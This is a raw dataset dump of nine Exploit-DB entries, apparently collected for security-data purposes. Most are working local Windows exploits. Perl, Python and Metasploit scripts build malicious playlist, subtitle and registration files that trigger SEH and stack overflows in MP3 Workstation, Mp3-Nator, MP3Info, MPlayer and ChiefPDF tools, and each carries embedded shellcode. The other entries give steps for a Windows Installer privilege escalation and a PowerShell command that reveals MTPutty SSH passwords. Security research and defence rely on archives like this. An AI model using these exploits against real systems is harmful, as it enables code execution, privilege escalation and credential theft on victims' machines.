deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15013
Description: MP3 Workstation 9.2.1.1.2 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2010-09-15
Author: sanjeev gupta

Exploit:
#MP3 Workstation  Version 9.2.1.1.2  SEH exploit
#Author Sanjeev Gupta san.gupta86[at]gmail.com
#Download Vulnerable application from http://www.e-soft.co.uk/MP3%20Workstation.htm
#Vulnerable version MP3 Workstation  Version 9.2.1.1.2
#Tested on XP SP2
#Greets Puneet Jain



my $head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D";
my $fuck = "\x41" x 1940;
my $nseh = "\xeb\x06\x90\x90";  # short jump
my $seh =  pack('V',0x735275CB);  #0x735275CB msvbvm60.dll   p/p/r 

my $slide = "\x90" x 12;
my $code = 
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA".
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60".
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A".
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02".
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86".
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5".
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56".
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93".
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65".
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45".
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57".
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4".
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D".
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46".
"\x9B\x70\x5F\xED\x1B\x12\x9F";

my $buf = "\x90" x 2805;



my $file = "POC.pls";
open ($File,">$file");
print $File $head.$fuck.$nseh.$seh.$slide.$code.$buf;
close($File);
Exploit-DB #15081
Description: MP3 Workstation 9.2.1.1.2 - Local Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2010-09-22
Author: Madjix

Exploit:
# Exploit Climatisée fermee la Porte DeRrière Twaa xDeii
# Title: MP3 Workstation  Version 9.2.1.1.2 buffer overflow exploit (MSF)
# Sanjeev Gupta san.gupta86[at]gmail.com (http://www.exploit-db.com/exploits/15013/)
# Author: MadjiX 
# Sec4ever.com
# WinXp Fr

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'MP3 Workstation  Version 9.2.1.1.2 buffer overflow',
            'License' => MSF_LICENSE,
            'Author' => 'MadjiX',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/15013/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 4488,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x733DB159} ],
 
                ],
            'Privileged' => false,
            'DefaultTarget' => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'mad.pls']),
            ], self.class)
    end
 
 
    def exploit
 
    sploit = "MP3 Workstation"
	    sploit << "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" #header -Sanjeev
        sploit << rand_text_alphanumeric(1940)
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 12                    # nop sled
        sploit << payload.encoded
		sploit << "\x90" * 2805
 
        mad = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(mad)
 
    end
 
end
Exploit-DB #9060
Description: MP3-Nator 2.0 - '.plf' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-01
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#[+] Bug : Mp3-Nator 2.0 (plf) Universal Buffer Overflow Exploit (SEH)
#[+] Author : ThE g0bL!N
# # Greetz to all my friends
## Download:http://files.brothersoft.com/mp3_audio/players/mp3nator.zip
## Tested on: Windows XP Pro SP2 (Fr)
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $pad1="D_Z"; #trick track
my $junk="\x41" x (4100-length($shellcode));
my $jmp="\xE9\xF7\xEF\xFF\xFF";
my $next_seh="\xEB\xF9\x41\x42";
my $seh="\x9C\x29\x40\x00";
open(myfile,'>>exploit.plf');
print myfile $pad1.$shellcode.$junk.$jmp.$next_seh.$seh;

# milw0rm.com [2009-07-01]
Exploit-DB #9136
Description: Mp3-Nator 2.0 - 'ListData.dat' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-13
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#[+] Bug : Mp3-Nator 2.0 (ListData.dat) Universal Buffer Overflow Exploit (SEH)
#[+] Author : ThE g0bL!N
# # Greetz to all my friends
## Download:http://files.brothersoft.com/mp3_audio/players/mp3nator.zip
## Tested on: Windows XP Pro SP2 (Fr)
## Ismail: Hadi Wallah Ghir 3la Rabbi :)
# usage: After Clicking On Perl File  Click On the Program Boom The Calc !!!!!
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $pad1="D_Z"; #trick track
my $junk="\x41" x (4100-length($shellcode));
my $jmp="\xE9\xF7\xEF\xFF\xFF";
my $next_seh="\xEB\xF9\x41\x42";
my $seh="\x9C\x29\x40\x00";
open(myfile,'>>ListData.dat');
print myfile $pad1.$shellcode.$junk.$jmp.$next_seh.$seh;

# milw0rm.com [2009-07-13]
Exploit-DB #32358
Description: MP3Info 0.8.5a - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-03-19
Author: Ayman Sagy

Exploit:
# Exploit Title: mp3info SEH exploit
# Date: 18 March 2014
# Exploit Author: Ayman Sagy <aymansagy [at] gmail.com>
# Vendor Homepage: http://ibiblio.org/mp3info/
# Software Link: https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz
# Version: MP3Info 0.8.5
# Tested on: Windows 7 Ultimate 64 and 32 bit
# CVE : 2006-2465
# Original POC: http://www.exploit-db.com/exploits/31220/
#
# The process memory region starts with a null byte but exploitation is still possible because of 
# the little endian architecture provided that the return address gets placed at the end of the buffer,
# this however confines us in the tiny 4-byte area after pop/pop/retn
# Using a couple of trampolines I jumped back to the beginning of the buffer which is 533 bytes, enough to fit a calc payload
#
# run in the same directory of MP3Info, the exploit will launch mp3info with the payload as argument: perl mp3infosploit.pl



# mangled chars: F4->34 F3->33
# msfpayload windows/exec cmd=calc R | msfencode -b '\x00\0d\0a\x09' -t perl
$shellcode = 
"\xdb\xd4\xba\x2b\xc5\x7d\xb7\xd9\x74\x24\xf4\x58\x29\xc9" .
"\xb1\x32\x31\x50\x17\x83\xe8\xfc\x03\x7b\xd6\x9f\x42\x87" .
"\x30\xd6\xad\x77\xc1\x89\x24\x92\xf0\x9b\x53\xd7\xa1\x2b" .
"\x17\xb5\x49\xc7\x75\x2d\xd9\xa5\x51\x42\x6a\x03\x84\x6d" .
"\x6b\xa5\x08\x21\xaf\xa7\xf4\x3b\xfc\x07\xc4\xf4\xf1\x46" .
"\x01\xe8\xfa\x1b\xda\x67\xa8\x8b\x6f\x35\x71\xad\xbf\x32" .
"\xc9\xd5\xba\x84\xbe\x6f\xc4\xd4\x6f\xfb\x8e\xcc\x04\xa3" .
"\x2e\xed\xc9\xb7\x13\xa4\x66\x03\xe7\x37\xaf\x5d\x08\x06" .
"\x8f\x32\x37\xa7\x02\x4a\x7f\x0f\xfd\x39\x8b\x6c\x80\x39" .
"\x48\x0f\x5e\xcf\x4d\xb7\x15\x77\xb6\x46\xf9\xee\x3d\x44" .
"\xb6\x65\x19\x48\x49\xa9\x11\x74\xc2\x4c\xf6\xfd\x90\x6a" .
"\xd2\xa6\x43\x12\x43\x02\x25\x2b\x93\xea\x9a\x89\xdf\x18" .
"\xce\xa8\xbd\x76\x11\x38\xb8\x3f\x11\x42\xc3\x6f\x7a\x73" .
"\x48\xe0\xfd\x8c\x9b\x45\xf1\xc6\x86\xef\x9a\x8e\x52\xb2" .
"\xc6\x30\x89\xf0\xfe\xb2\x38\x88\x04\xaa\x48\x8d\x41\x6c" .
"\xa0\xff\xda\x19\xc6\xac\xdb\x0b\xa5\x33\x48\xd7\x2a";


$exploit = "\x90"x156 . $shellcode;
$exploit .= "\x41"x142;

									
$exploit .= 							# larger jump to beginning of buffer
			"\x58\x58\x58".				# 58 POP EAX x 3
			"\x80\xc4\x02".				# 80C4 02          ADD AH,2
			"\xFF\xE0";					# FFE0             JMP EAX	 


$exploit .= "\xEB\xEF\x90\x90"; # short jmp back to get some space


#print length($exploit);
#exit(0);
print "\n";
$seh = "\x46\x34\x40"; # 0x00403446  mp3info.exe             POP EBX 

$exploit = $exploit . $seh;

system("mp3info.exe", $exploit);
Exploit-DB #18954
Description: MPlayer - '.SAMI' Subtitle File Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-05-30
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MPlayer SAMI Subtitle File Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow found in the handling
				of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
				targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

				The overflow is triggered when an unsuspecting victim opens a movie file first,
				followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
				be done from the console with the mplayer "-sub" option.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [
				'Jacques Louw', # Vulnerability Discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'BID', '49149' ],
					[ 'OSVDB', '74604' ],
					[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 4000,
					'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
						{
							'Offset' => 1033,
							'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
							'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 19 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.', 'msf.smi']),
			], self.class)
	end

	# Split the subtitle to avoid mplayer complaining
	# about the line max length
	def sami_encode(s)
		r = ""
		i = 0
		while i < s.length
			r << s[i, 32]
			r << "\n"
			i += 32
		end
		r
	end

	def exploit

		sploit = rand_text(target['Offset'])
		sploit << [target.ret].pack("V")
		sploit << "\xeb\x06" # jmp short 0x8
		sploit << rand_text(2)
		sploit << [target['WritableAddress']].pack("V")
		sploit << payload.encoded

		sami = "<SAMI>\n"
		sami << "<BODY>\n"
		sami << "<SYNC Start=100550>\n"
		sami << sami_encode(sploit)
		sami << "</SYNC>\n"
		sami << "</BODY>\n"
		sami << "</SAMI>\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sami)
	end

end
Exploit-DB #17013
Description: MPlayer Lite r33064 - '.m3u' Local Overflow (SEH)
Type: local
Platform: windows
Date: 2011-03-20
Author: C4SS!0 & h1ch4m

Exploit:
#!/usr/bin/perl
#
#[+]Exploit Title: Exploit Buffer Overflow Msplayer(SEH)
#[+]Date: 19\03\2011
#[+]Author: C4SS!0 and h1ch4m
#[+]Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayer_Release/Revision%2033064/mplayer_lite_r33064.7z/download
#[+]Version: Lite 33064
#[+]Tested On: WIN-XP SP3 
#[+]CVE: N/A
#
#Created BY C4SS!0 And h1ch4m
#C4SS!0: E-mail Louredo_@hotmail.com
#h1ch4m: E-mail h1ch4m@live.fr
#
#
use strict;
use warnings;
use IO::File;

print q
{

                Created BY C4SS!0 And h1ch4m
		Site www.exploit-br.org
		E-mail Louredo_@hotmail.com
			
};
sleep(2);
print "\t\t[+]Creating File Exploit.m3u\n\n";
sleep(1);
my $shellcode = 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

my $buf = "\x90" x 100;
$buf .= $shellcode;
$buf .= "\x41" x (5152-length($buf));;
$buf .= "\xeb\x0f\xcc\xcc";
$buf .= pack('V',0x6B04FCDE);
$buf .= "\x90" x 15;
$buf .= "\xE9\xD4\xEB\xFF\xFF";
$buf .= "\x90" x 400;


open(my $FILE,">Exploit.m3u") || die "**[x]Error:\n$!\n";
print $FILE "http:// ".$buf;
close($FILE);
print "\t\t[+]File Created With Sucess\n\n";
sleep(3);
Exploit-DB #48079
Description: MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation
Type: local
Platform: windows
Date: 2020-02-17
Author: nu11secur1ty

Exploit:
# Exploit Title:  MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation
# Author: nu11secur1ty
# Date: 2020-02-14
# Vendor: Microsoft
# Link: https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0683/nu11secur1ty
# CVE: CVE-2020-0683


[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program]
Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0683/nu11secur1ty


[Vendor]
Microsoft


[Vulnerability Type]
Windows Installer Elevation of Privilege Vulnerability

[CVE Reference]

An elevation of privilege vulnerability exists in the Windows Installer
when MSI packages process symbolic links. An attacker who successfully
exploited this vulnerability could bypass access restrictions to add or
remove files.

To exploit this vulnerability, an attacker would first have to log on to
the system. An attacker could then run a specially crafted application that
could exploit the vulnerability and add or remove files.

The security update addresses the vulnerability by modifying how to reparse
points are handled by the Windows Installer.


[Security Issue]
Elevation of Privilege from user to C:\Windows\administartion execution
files


[References]

# CVE-2020-0683
Original Poc sent to MSRC.
Assigned to CVE-2020-0683 - Windows Installer Elevation of Privilege
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683

Source code for Visual Studio C++ 2019

Inside "nu11secur1ty" you'll find the exploit (exe) to execute.

# Note:

This test is using `system.ini` in c:\Windows\system.ini
When you exploit this file you should replace with the original file
`system.ini` after this test, which you will find in CVE-2020-0683
directory :)

--------------------------------------------------------------------------

- - How to run the exploit

Go into "nu11secur1ty" directory and from a cmd console launch:

- for the test

MsiExploit.exe  c:\Windows\system.ini"

Be sure that both "MsiExploit.exe" and "foo.msi" reside in the same directory.

- Disclaimer:

 The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.


- @nu11secur1ty


[Network Access]
Local


[Disclosure Timeline]
02/11/2020

[Disclaimer]

 The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.


nu11secur1ty
--
Exploit-DB #50574
Description: MTPutty 1.0.1.21 - SSH Password Disclosure
Type: local
Platform: windows
Date: 2021-12-09
Author: Sedat Ozdemir

Exploit:
# Exploit Title: MTPutty 1.0.1.21 - SSH Password Disclosure
# Exploit Author: Sedat Ozdemir
# Version: 1.0.1.21
# Date: 06/12/2021
# Vendor Homepage: https://ttyplus.com/multi-tabbed-putty/
# Tested on: Windows 10

Proof of Concept
================

Step 1: Open MTPutty and add a new SSH connection.
Step 2: Click double times and connect to the server.
Step 3: Run run “Get-WmiObject Win32_Process | select name, commandline |
findstr putty.exe” on powershell.
Step 4: You can see the hidden password on PowerShell terminal.
Exploit-DB #37890
Description: Multiple ChiefPDF Software 2.0 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-08-20
Author: metacom

Exploit:
#!/usr/bin/python
#Exploit Title:ChiefPDF Software Buffer Overflow 
#vulnerable programs:
#PDF to Image Converter 2.0
#PDF to Image Converter Free 2.0
#PDF to Tiff Converter 2.0
#PDF to Tiff Converter Free 2.0
#Software Link:http://www.soft32.com/publishers/chiefpdf/
#Author: metacom - twitter.com/m3tac0m
#Tested on: Win-Xp-sp3, Win-7, Win-8.1

#How to use:Copy the AAAA...string from regkey.txt and paste->Registration - License Name: 
buffer="A" * 544
buffer+="\xeb\x06\x90\x90"
buffer+="\x8B\x89\x03\x10"# 1003898B   5E   POP ESI 
buffer+="\x90" * 80
buffer+=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"
"\xea\x47")
file = open('regkey.txt','wb')
file.write(buffer);
file.close()